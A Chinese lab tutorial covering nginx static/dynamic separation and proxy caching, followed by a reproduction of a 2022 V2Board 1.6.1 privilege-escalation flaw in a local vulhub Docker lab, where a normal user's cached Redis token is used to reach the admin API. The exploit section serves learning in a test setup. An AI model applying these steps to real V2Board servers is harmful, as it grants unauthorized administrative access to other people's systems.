目录
一、nginx的动静分离
1.动静分离的原理
2.动静分离实验(centos做为放置静态资源的服务器,ubuntu做为请求的web服务器)
(1)在centos的/usr/local/nginx/html下创建一个静态文件static
(2)进入到static创建一个style.css文件,编辑以下内容
(3)进入到nginx的配置文件下
(4)配置nginx.conf文件,配置内容如下
(5)进入到ubuntu的/usr/local/nginx/html,编辑index.html编辑以下内容
(6)分别启动centos和ubuntu的nginx
(7)测试:在物理机的浏览器上访问我们的代理服务器(192.168.191.129),如果字体变红证明成功
二、nginx的缓存
1.原理
2.实验过程
(1)进入到我们的/usr/local/nginx/conf/下
(2)编辑我们的nginx.conf文件,内容如下
(3)进入到html下创建一个huancun文件夹
(4)启动我们的centos和ubuntu的nginx
(5)测试:访问我们的centos(192.168.191.129)查看头部,我们发现cache-status:hit证明已缓存
(6)当上述完成后在我们的的服务器查看我们缓存的文件内容
三、缓存投毒(2022年机场的缓存投毒漏洞靶场)
1.原理
2.漏洞复现
(1)在/usr/local/下创建一个v2board文件夹
(2)进入到v2board后,编辑一个docker-compose.yml文件,内容如下
(3)编辑entrypoint.sh,内容如下
(4)运行该环境
(5)查看docker环境是否起来
(6)在浏览器输入192.168.191.128:9090,进入到我们搭建的环境
(7)注册
(8)进入到我们的docker的mysql查看我们注册的数据
(9)查看到我们注册的用户数据
(10)用自己注册的用户进行登陆
(11)打开burpsuit抓取我们的登陆页面信息
(12)修改我们的头部信息,以及我们登陆信息,为了让我们服务器授权保存redis缓存
(13)结果如下
(14)检查我们的redis是否存储我们的用户信息,如果有证明我们成功获取到了后台的管理
(5)我们访问http://192.168.191.128:9090/api/v1/admin/user/fetch,成功获取到了管理的api
一、nginx的动静分离
注意: 本实验是基础反向代理基础上配置
1.动静分离的原理
当我们去访问www.baidu.com,我们的百度的web服务器会进行处理,当用户人数比较多的时候我们的请求会很多,就会造成我们的web服务器压力过大,导致性服务器超负荷运动,这些请求大部分是静态文件,一般在我们的resources/static/下,我们可以利用动静分离来缓解我们web服务器的压力,在我们的web服务器上放置我们的访问页面,在我们的代理服务器上放置我们的静态文件,通过访问我们的代理我们的服务器,就会将其转发请求我们的web服务器,请求页面资源,web服务器访问我们代理服务器上的静态资源,就完成我们的动静分离。
2.动静分离实验(centos做为放置静态资源的服务器,ubuntu做为请求的web服务器)
(1)在centos的/usr/local/nginx/html下创建一个静态文件static
cd /usr/local/nginx/html/
mkdir static
(2)进入到static创建一个style.css文件,编辑以下内容
cd static
vim style.css
p {color:red}
(3)进入到nginx的配置文件下
cd ../../conf
(4)配置nginx.conf文件,配置内容如下
location ~ .*\.(gif|jpg|jpeg|bmp|png|ico|txt|js|css){
root html/static;
expires 7d;
}
(5)进入到ubuntu的/usr/local/nginx/html,编辑index.html编辑以下内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<p>ubuntu 192.168.191.128</p>
</body>
</html>
(6)分别启动centos和ubuntu的nginx
(7)测试:在物理机的浏览器上访问我们的代理服务器(192.168.191.129),如果字体变红证明成功
二、nginx的缓存
1.原理
当我们访问某个服务器资源的时候,我们需要请求一段时间,服务器才会给我们响应,利用缓存机制,不仅可以缓解我们的服务器的压力,还可以加快我们对页面资源的快速获取,当我们第一次访问某个页面的时候,我么利用缓存机制将我们的页面资源缓存到本地,当我们第二次访问我们的页面的时候,我们会先访问我们的本地资源。
2.实验过程
(1)进入到我们的/usr/local/nginx/conf/下
cd /usr/local/nginx/conf/
(2)编辑我们的nginx.conf文件,内容如下
proxy_cache_path /usr/local/nginx/html/huancun levels=1:2 keys_zone=hot_cache:128m inactive=3d max_size=2g;
# 使用名为nginx_cache的缓存空间
proxy_cache hot_cache;
# 对于200、206、304、301、302状态码的数据缓存1天
proxy_cache_valid 200 206 304 301 302 1d;
# 对于其他状态的数据缓存30分钟
proxy_cache_valid any 30m;
# 定义生成缓存键的规则(请求的url+参数作为key)
proxy_cache_key $host$uri$is_args$args;
# 资源至少被重复访问三次后再加入缓存
proxy_cache_min_uses 3;
# 出现重复请求时,只让一个去后端读数据,其他的从缓存中读取
proxy_cache_lock on;
# 上面的锁超时时间为3s,超过3s未获取数据,其他请求直接去后端
proxy_cache_lock_timeout 3s;
# 对于请求参数或cookie中声明了不缓存的数据,不再加入缓存
proxy_no_cache $cookie_nocache $arg_nocache $arg_comment;
# 在响应头中添加一个缓存是否命中的状态(便于调试)
add_header Cache-status $upstream_cache_status;
(3)进入到html下创建一个huancun文件夹
cd ../html
mkdir huancun
(4)启动我们的centos和ubuntu的nginx
(5)测试:访问我们的centos(192.168.191.129)查看头部,我们发现cache-status:hit证明已缓存
(6)当上述完成后在我们的的服务器查看我们缓存的文件内容
cd /usr/local/nginx/html/huancun/
ls -al
三、缓存投毒(2022年机场的缓存投毒漏洞靶场)
1.原理
在后台就建全了一个api接口,我们先注册一个普通的用户,我们这个普通用户的身份存储到了我们的redis中,之后我们将这个认证信息的普通用户接口拿出来,之后我们利用这个认证信息去链接我们后台管理系统,之所以我们能进入到后台,是因为我们的redis是按照后端的认证信息进行建全的,当我们去访问它的时候他是按照是否有这个认证信息,并不去检查他是不是管理员,之后他就为我们的普通用户开放管理后台,从而导致的漏洞。
2.漏洞复现
该复现漏洞环境是在ubuntu上搭建的
(1)在/usr/local/下创建一个v2board文件夹
cd /usr/local/
mkdir v2board
(2)进入到v2board后,编辑一个docker-compose.yml文件,内容如下
version: '2'
services:
web:
image: vulhub/v2board:1.6.1
ports:
- "9090:80"
depends_on:
- db
- redis
entrypoint:
- bash
- /entrypoint.sh
volumes:
- ./entrypoint.sh:/entrypoint.sh
command: apache2-foreground
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=v2board
redis:
image: redis:7-alpine
(3)编辑entrypoint.sh,内容如下
#!/bin/bash
set -exwait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! -e ".env" ]]; then
echo -e "db\nv2board\nroot\nroot\nadmin@example.com\nexample123" | php artisan v2board:install
sed -i 's/REDIS_HOST=.*/REDIS_HOST=redis/g' .env
fichown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fiexec "$@"
(4)运行该环境
docker-compose up -d
(5)查看docker环境是否起来
docker ps -a
(6)在浏览器输入192.168.191.128:9090,进入到我们搭建的环境
(7)注册
(8)进入到我们的docker的mysql查看我们注册的数据
docker exec -it abb37671d3a3 /bin/bash
mysql -uroot -proot
show databases;
use v2board;
show tables;
select * from v2_user \G
(9)查看到我们注册的用户数据
(10)用自己注册的用户进行登陆
curl -i -s -k -XPOST --data-binary "email=test%40qq.com&password=a123123123" http://localhost:9090/api/v1/passport/auth/login
(11)打开burpsuit抓取我们的登陆页面信息
(12)修改我们的头部信息,以及我们登陆信息,为了让我们服务器授权保存redis缓存
(13)结果如下
(14)检查我们的redis是否存储我们的用户信息,如果有证明我们成功获取到了后台的管理
docker exec -it 188ca92883cd /bin/sh
redis-cli
select 1
keys *
(5)我们访问http://192.168.191.128:9090/api/v1/admin/user/fetch,成功获取到了管理的api
四、总结
第三部分的内容可以结合缓存投毒进行描述